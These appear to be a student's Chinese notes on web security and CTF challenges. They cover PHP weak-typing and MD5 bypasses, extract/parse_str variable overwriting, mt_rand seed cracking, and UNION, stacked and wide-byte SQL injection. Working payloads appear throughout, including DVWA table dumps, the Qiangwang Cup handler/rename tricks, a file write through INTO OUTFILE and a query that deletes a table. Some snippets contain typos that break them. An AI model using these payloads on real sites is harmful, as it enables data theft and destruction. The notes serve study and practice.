web实训技能听课笔记(持续更新中)

web新手村

1.请从本地访问——IP地址欺骗——添加类似X-Forwarded-For: 127.0.0.1等信息

2,请从google.com访问——添加Referer头 类似Referer: google.com

3.请使用ABC Browser——添加User-Agent(通过这个来判断访问使用的浏览器 也可以识别出是手机浏览器还是计算机浏览器) 类似User-Agent: ABC Browser

4.webshell——蚁剑——URL地址填环境名——找连接密码

5.弱类型

=== 在进行比较的时候 会先判断两种字符串的类型是否相等 在比较‘

== 在进行比较的时候 会先将字符串类型转化成相同 在比较

(如果比较一个数字和字符串或者比较涉及到数字内容的字符串 则字符串会被转换成数值并且比较按照数值来进行)

eg.

var_dump("admin"==0); //true

var_dump("1admin"==1); //true

var_dump("admin1"==1); //false

var_dump("admin1"==0); //true

var_dump("0e123456"=="0e4456789"); //true

在识别字符串的每一个字符时 由左到右依次识别 第一次识别到字母的时候 后面会全部忽略 且判定为0

“e”在php中识别为10的多少次方 是科学计数法 所以最后一个例子 0*10的多少次方都是0 故返回true

当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含‘.’ ‘,’ ‘e’ “E”并且其数值值在整形的范围之内 该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。且由于被判断为非法数值 后面的内容也不在考虑是否含有”.” “,” “e” “E”

<?php.
$test=l + "10.5";  // $test=11.5(float)

$test=1+"-1.3e3"; //$test=-1299(float)

$test=l+"bob-1.3e3"; //$test=1(int)

$test=l+"2admin"; //$test=3(int)

$test=l+"admin2; //$test=1(int)

?>

微信图片_20230425090540

MD5绕过

基础的 登陆的哈希验证

一.

$a != $b
Md5($a) == Md5($b)

要求传入两个不相等的字符串 但要求两个字符串的md5值一样

看到”==” 想到弱类型判断 可以传入 两个md5值是”0e”开头的字符串 这 样会被识别为科学计数法 判断为0 所以md5值也一样

二.

$a != $b
Md5($a) === Md5($b)

md5()只能计算字符串(string)的MD5值 但是数组就不行了 返回值是null

可以利用null === null来进行绕过 只要保证两个数组里面的内容不一样就可以了

a[]=1&b[]=2

三.

(string)$a != (string)$b
Md5($a) === Md5($b)

利用MD5碰撞 两个不同的东西会有相同的MD5

https://www.jianshu.com/p/c9089fd5b1ba

四.

$md5 == md5($md5)

积累内容

五.

intval($num) < 2020 && intval($num+1) > 2021

和php版本有关 php5会将对科学计数法取int 以常规字符串中数字和字母组合的方式识别出

但是先加一在取int 则不会

$num = 2e5
intval($num); //2
intval($num+1); //200001

六.

浮点精度绕过

http://172.30.211.91:8343/ Africa

$numPositive = intval($num)
$numReverse = intval(strrev($num))l; //strrev就是逆序

$num != $numPositive
$numPositive === $numReverse && !isPalindrom($num); //isPalindrom返回一个数的回文数 比如123回文数是321

要求取整后的数和逆序后取整的数相等 且传入的num不能是回文数

最后一个条件很好满足 比如100.0010

但是在读取100.0010时 读完整数部分 遇到小数部分的0就会停止 识别为100 结果和取整是一样的

而逆序数0100.001取整还是100所以条件二满足了

条件一下面返回的是die 所以要求我们输入的num不能满足条件一对应的if条件 即应该是$num == $numPositive

image-20230425151321618

使用浮点精度绕过

image-20230425151809409

由图可知 在小数点后16位 会超出php语言所能识别的精度 将1.0000000000000001判断为与1相等

因此 为了满足条件一二 我们应该输入的$num = 1000000000000000.00000000000000010

七.

$md5 == md5(md5($md5))

积累 跑脚本可以得出为0e1138100474 其实在前面加n个0也的满足的

变量覆盖

Extract()

定义:extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。

语法:

extract(array,extract_rules,prefix)
参数 描述
array必需。 规定要使用的数组。
extract_rules可选。 extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。
可能的值:
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
EXTR_PREFIX_INVALID -仅在不合法或数字变量名前加上前缀 prefix。
EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。

prefix可选。 如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。
该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。

//将键值"cat"、"dog"、"horse"赋值给变量$a $b $c
<?php
$a = "original";
$my_array = array("a" => "cat","b" => "dog","c" => "horse");
extract($my_array);
echo "\$a = %a; \$b = $b; \$c = $c";
?>
//$a = %a; $b = dog; $c = horse

就是说 extract()使用了一个数组$my_array(其中array函数是用来创建数组的) 将其中的三个键值对 分别导入

如果其中某个键名($a)存在且原来有内容 则extract函数会对其进行覆盖

如果没有($b、$c) extract函数会创建这个键名并且将数组中键名对应的键值导入其中

再举一个例子

"extract($_GET);
if(isset($bdctf))
{
$content=trim(file_get_contents($flag));//file_get_contents()将整个文件读入一个字符串
if($bdctf==$content)                             //trim()去除字符串首尾处的空白字符(或者其他字符)
{ echo'bdctf{**********}'; }
else
{ echo'这不是蓝盾的密码啊'; }
}"

题目分析
题目使用了**extract($_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()**对变量进行覆盖,从而满足各个条件。

解题思路
if($bdctf==$content) 输出flag
利用extract($_GET)漏洞,使$bdctf与$content都为空或者不存在就满足 $bdctf==$content
get?flag=&bdctf= 得到flag

Parse_str

定义:

把查询字符串解析到变量中

语法:

parse_str(string,array)
参数 描述
string必需。 规定要解析的字符串。
array可选。 规定存储变量的数组名称。该参数指示变量存储到数组中。

<?php
$a = 1;                  //原变量值为1
parse_str('a=2');   //经过parse_str()函数后注册变量$a,重新赋值
print_r($b);          //输出结果为2
?>

举个例子

<?php
if(!isset($_GET['id'])) {                    
show_source(__FILE__);          
die;                                          
}
include (‘flag.php’);
$a = “www.OPENCTF.com”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
echo $flag;
} else {
exit(‘其实很简单其实并不难!’);
}
?>

题目分析

首先 看到存在哈希比较 且是”==”的弱比较 要求$a[0]的值不等于‘QNKCDZO’ 但是MD5值等于

解一下可以发现 ‘QNKCDZO’的MD5值正好是0e830400451993494058024219903391可以进行哈希绕过

随便找一个满足要求的字符串 比如s878926199a 其MD5值也是0e开头的 和 ‘QNKCDZO’的MD5值一样 都会被识别为0(科学计数法)

$id接受了get请求中的数据 而parse_str函数接受了$id 只要将数组a的值赋予$id 就可以成功覆盖$a[0] 满足题目要求的判断条件

get?id=$a[0]=s878926199a

随机数问题

**mt_rand()**种子

mt_rand()函数用于生成随机数

mt_srand(seed)给随机数发生器播种 比如:

<?php
mt_srand(123456);
echo mt_rand();
?>
//272665632

原理就是 对于给定种子的随机数发生器 他计算出的随机数都是一样的 这样根据得到的随机数 我们可以使用php_mt_seed(在kali里面)脚本爆破出使用的种子

image-20230428103219947

同时 根据php使用的版本不同 爆破出来的种子也不一样 按照不同题目可能两个都要试一下

此外 还有一种无需爆破得到种子的脚本 reverse_mt_rand.py

./reverse_mt_rand.py rand_n+0 rand_n+227 n flavour
# rand_n+0 是选择的第一个随机数
# rand_n+227 是选择的第二个随机数 第一二个随机数之间要间隔226个随机数
# n的值是相对于最开始生成的第一个随机数 我们选择的第一个随机数是第几个数
# flavour 如果是php5版本 就输入0 如果是php7以上的版本就输入1

数据库基本概念

数据库就是软件存放数据的一个空间

**数据库管理系统(DBMS)**是一种操纵和管理数据库的软件 用于建立使用和维护数据库 他对数据库进行统一的管理和控制 以保证数据库的安全性和完整性 mysql就是这样的一种数据库管理系统

主要分为两类:关系型数据库和非关系型数据库

关系型数据库RDBMS:存储格式能直观反映实体间的关系 和创建的表格比较相似 表与表之间有着复杂的关联关系 比如 mysql oracle server access等

非关系型数据库:分布式、非关系型的、不保证遵循ACID原则的数据存储系统 比如 mongodb redis hbase等

SQL 结构化查询语言

查询是人们用各种SQL指令构造出来的 负责具体完成筛选和提取结果数据的工作 包括增删改查

Mysql基础

数据类型:大致可以分为 数值、日期/时间和字符串类型

image-20230502124537303

image-20230501203846050

image-20230501203952345

约束类型

image-20230502124343739

常见的sql语句

连接数据库:mysql -uroot -p;

**查询(显示)**所有的数据库:show databases;

创建数据库:create database 库名;

删除数据库:drop database 库名;

查看(显示)当前数据库的所有表:show tables; 在用之前 要选择使用(打开)一个数据库use db_name

查看某个表的**描述(结构)**:desc 表名;

显示表中各字段信息,即表结构:show columns from table_name;

显示表创建过程:show create table 表名;

列出当前mysql的相关状态信息:status;

清空数据表:delete from table_name;

或truncate table table_name;

退出数据库:exit;

查询现在正在使用的数据库:select database();

操作:增减改查

:语法格式:insert into 表名(字段1,字段2,。。。。)values(值1,值2,。。。。);

是一一对应的

插入多条数据:insert into 表名(字段1,字段2,。。。。)values(值1,值2,。。。。),(值3,值4,。。。。);

insert into test(id,name,age) values(1,'wenx1',18);

:update 表名 set 字段名=’值’ [where条件]

update test set age='28' where id=1;

:select * from 表名 [where条件];

select * from test;   #*表示查询这张表中的全部字段(列)
select GROUP_CONCAT(NAME,Population) from city where CountryCode='PSE';  #GROUP_CONCAT能将查询到的所有内容放在同一行 用“,”来区分

order by排序

格式:select * from 表名 order by 列名(字段名)

order by {column_name [ASC|DESC]} [,….n] ASC为升序 DESC为降序 若后面加数字表示以第几列为基准做排序

特性:如果order by后的数字超过了原有的字段数(列数) 就会报错(可以用来sql注入里面猜当前数据表中有多少个字段)

select * from city order by ID asc;
#假设当前数据表中有5个字段
select * from cuty order by 5; #不会报错
select * from cuty order by 6; #会报错

limit限制

用于限制select语句返回指定的记录数 接受一个或两个数字参数

语法:select * from 表名 limit 偏移量,限制条数

limit 5; #5代表限制条数
limit 0,5; #0代表偏移量,5代表限制条数
select * from table limit 5; #检索前5个记录行
select * from table limit 5,10; #检索记录行6-15 注意在有偏移量的时候 从偏移量的下一行开始算限制条数

:delete 表示删除一条数据 指的是物理删除 彻底在数据库中删除了 对比是逻辑删除 只是不显示在系统中 但数据库中依旧存在

delete from 表名 [where条件]

delete from test where id=1; #物理删除 update是逻辑删除

注释符

#
--+ 或 --空格
/*.......*/

其他操作:

select version(); / select @@version; #查看版本信息
select user(); #返回当前使用数据库的用户 也就是网站配置文件中连接数据库的账号
select session_user(); #查看连接数据库的用户名
select system_user(); #查看系统用户名
select database(); #查看当前数据库
group_concat(); #把数据库中的某列数据或某几列数据合并为一个字符串
select @@datair; #查看数据库路径

information_schema

mysql自带的数据库 可以提供mysql服务器所维护的所有其他数据库的信息 如数据库名 数据库的表 表的数据类型与访问权限等

sql注入

就是将sql代码插入或添加到应用的输入参数中的攻击 之后再将这些参数传递给后台的sql服务加一解析并执行

产生条件:攻击者控制了sql语句的一部分 使用户的输入不再是一个输入参数 而成为了符合语法的sql语句

按回显方式划分:

有回显:

联合查询:构造联合查询语句 直接查看查询结果

报错注入:构造报错语句 在报错中查看结果

堆查询:多航语句执行 进而实现想要达到的目的

无回显:

盲注:布尔型/时间型 通过某种手段“爆破”结果

联合查询

使用DVWA进行sql注入联合查询测试

image-20230510090242654

一.输入1

此时的sql语句为

select first_name, last_name from users where user_id = '1'    # 返回用户id为1的用户数据

二.输入 1’ and ‘1’ = ‘2

select first_name, last_name from users where user_id = '1' and '1' = '2'  # 此时判断结果恒为假 无法测试出是否含有sql注入

三.输入1’ or ‘1234’ = ‘1234

select first_name, last_name from users where user_id = '1' or '1234' = '1234'  # 条件判断恒为真 返回users表中的所有用户数据

四.输入1’ or 1=1 order by 1 #(这里的#是为了把sql语句中后面的单引号注释掉)

select first_name, last_name from users where user_id = '1' or 1=1 order by n #   # 用order by语句来猜测表中有多少字段 若报错 则说明字段数为n-1

五.输入1’ union select 1,2 #

select first_name, last_name from users where user_id = '1' union select 1,2 #   # 确定显示的字段顺序(可能出现有5个字段 但是只回显2个字段的情况)

六.获取当前数据库中的情况

select first_name, last_name from users where user_id = '1' union select 1,databases() #    # 获取当前的数据库名
select first_name, last_name from users where user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    # 获取当前数据库的表名 
select first_name, last_name from users where user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #       # 获取当前表中的字段名
select first_name, last_name from users where user_id = '1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #    # 查询数据

其中**group_concat()**的作用就是将多行的数据在一行进行输出 并且用”,”分开 如果限制使用group_concat()就用limit 使用方法在上面常见的sql语句中

information_schema

是一个信息数据库 保存着mysql服务器所维护的所有其他数据库的信息 比如数据库的名 数据库的表 表栏的数据类型与访问权限等 在其中 有数个只读表 它们实际上是视图 而不是基本表

schemata表

提供了当前mtsql实例中所有数据库的信息 show databases()的结果取于此表

tables表

提供了关于数据库中的表的信息 show tables from schemaname的结果取于此表

columns表

提供了表中字段的信息 show columns from schemaname.tablename的结果取于此表

联合查询常用套路:

1.orde by 猜列数(字段数)

2.union select 1,2,3,…,n n为上一步猜出来的列数

3.查看哪几列回显出来了 比如有3列 其中2、3列回显了 1列没有回显 则可以输入union select database(),2,3; 用database()代替回显不出来的第一列 即可查询到数据库名

文件操作

mysql服务器维护着两种变量 全局变量影响服务器的全局操作 会话变量影响具体客户端连接相关操作

MySQL文件操作、宽字节、堆叠截图__2023-05-11-20-45-16

可以使用show variables语句查看系统变量及其值

可以使用like进行匹配和筛选

show variables like "a%"  # 筛选以"a"开头的系统变量

secure_file_priv

对文件读写有影响

其参数是用来限制load data,select ….,outfile, load_file()等传到那个指定目录

当其值为null时 表示限制mysql不允许导入/导出 *默认是null

当其值为/tmp/时 表示限制mysql的导出/导入只能发生在/tmp/下

当其为空值时 表示不对mysql的导入/导出作出限制

mysql读文件

select load_file('文件名');
select convert(load_file("文件路径") using utf8);

mysql写文件

select "<php phpinfo();?>"(字符串) into outfile "路径"
select "<php phpinfo();?>"(字符串) info dumpfile "路径"

outfile函数可以导出多行 而dumpfile只能导出一行数据

outfile函数在将数据写到文件里是有特殊的格式转换 而dumpfile则保持原数据格式

比如原字符串中含有表示换行符的字符(0a)outfile会将其转化为\ 在输出 而dumpfile则直接输出原内容

MySQL文件操作、宽字节、堆叠截图__2023-05-11-21-11-53

当然 这里的一切建立在secure_file_priv的值不为null的情况下 当其值为null的时候 想要进行文件读写 需要利用下面说到的堆叠注入

堆叠注入

注意 通常多条语句执行时,若前条语句已返回数据 则之后的语句返回的数据通常无法返回前端页面 建议使用union联合注入 若无法使用联合注入 可考虑使用rename关键字 将想要的数据列名/表名更改成返回数据的sql语句所定义的表/列名(在下面强网杯的例题中有所体现)

使用条件 API或者数据库引擎支持多条语句同时注入 即

multi_query($sql);

mysql可以执行多条语句 多条语句之间用”;”做分隔

因为分号为mysql语句的结束符 若在支持多条语句执行的情况下 可以利用此方法执行其他恶意语句 比如rname、drop、delete等 堆叠注入可以用于执行任何sql语句

举个例子:执行查询时。第一个语句执行信息查询,第二个语句则将表user的所有内容删除了

select * from users where id=1;delect from users;

以2019年强网杯随便注为例

**1.**在题目源码过滤了select等语句的时候 可以使用handler语句 他允许我们一行一行的浏览一个表中的数据

使用格式:

handler users open as hh; #指定数据表进行载入并返回句柄
handler hh read first; #读取指定句柄的第一行数据
handler hh read next; #读取指定句柄的下一行数据
handler hh close; #关闭句柄

也可以不给表指定命名为句柄 就用表名即可

2.首先输入 1是有回显的

2.输入 1' and 1=2#发现没有回显任何信息 说明存在sql注入

3.在输入1‘ union select 1;尝试进行联合查询 发现题目过滤掉了select update drop insert where等语句

4.使用堆叠注入

1'; show tables回显了当前数据库中的表的信息

image-20230512154010134

1'; show columns from `1919810931114514`;#

回显了1919810931114514数据库中字段的信息 发现了flag

5.过滤了select 但是可以使用handler查看字段信息

1'; handler `1919810931114514` open;handler `1919810931114514` read first;#

image-20230512154607756

得到flag{4a26eacf-123d-448e-933e-0535258f3e46}

解法二:rename改名

image-20230512160357171

对于输入1的时候 回显的这部分信息 再加上用handler语句查看的words表中的第一行数据和回显的信息一致 以及查看到words中含有的字段为id和data 猜测其对应的查询语句 可能为 select * from words where id='$id'

image-20230512170918760

即网站源代码中存在的语句是查询名为”words”的表中名为”id”的字段对应的数据

所以可以将”1919810931114514”表的名字改为”words”将”flag”字段的名字改为”id” 就可以查询到”flag”字段中的信息了

1';rename table `words` to `words2`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not null;#

在输入 1' or 1=1#就可以查询到flag了

解法三:mysql预处理

原理是因为题目过滤了select关键字 所以定义一个函数 用s和elect来拼接成select 在进行使用

1';prepare st from concat('s','elect', '* from `1919810931114514`');execute st;#

直接查询出flag

宽字节注入

字符集,也叫字符编码 是一种将符号转换为二进制数的映射关系

常见的字符集:ASCII编码:单字节编码

latin1编码:单字节编码

gbk编码:使用单字节和双字节编码

UTF-8编码:使用一到四字节编码

宽字节就是两个以上的字节 宽字节注入产生的原因就是各种字符编码的不当操作 使得攻击者可以通过宽字节编码绕过sql注入防御

通常来说 一个gbk编码汉字 占用2字节 一个utf-8编码汉字 占用3个字节

echo strlen("和")

当页面保存为gbk时输出2 保存为utf-8时输出3

除gbk以外 所有的ANSII编码都是两个字节

产生原因:程序员设置数据库编码和php编码为两个不同的编码那就有可能产生宽字节注入

image-20230514212826314

image-20230514213445033

转义函数会将”“ 单引号 用” \ “进行转义 防止其影响sql语句

image-20230514213935175

使用转义函数addslashes后 将admin后面的单引号转义了 不会对执行sql语句产生影响

image-20230514214233897

但是在这里汉字字符将转义字符”吃”掉了 所以对sql语句执行产生了影响 发生宽字节注入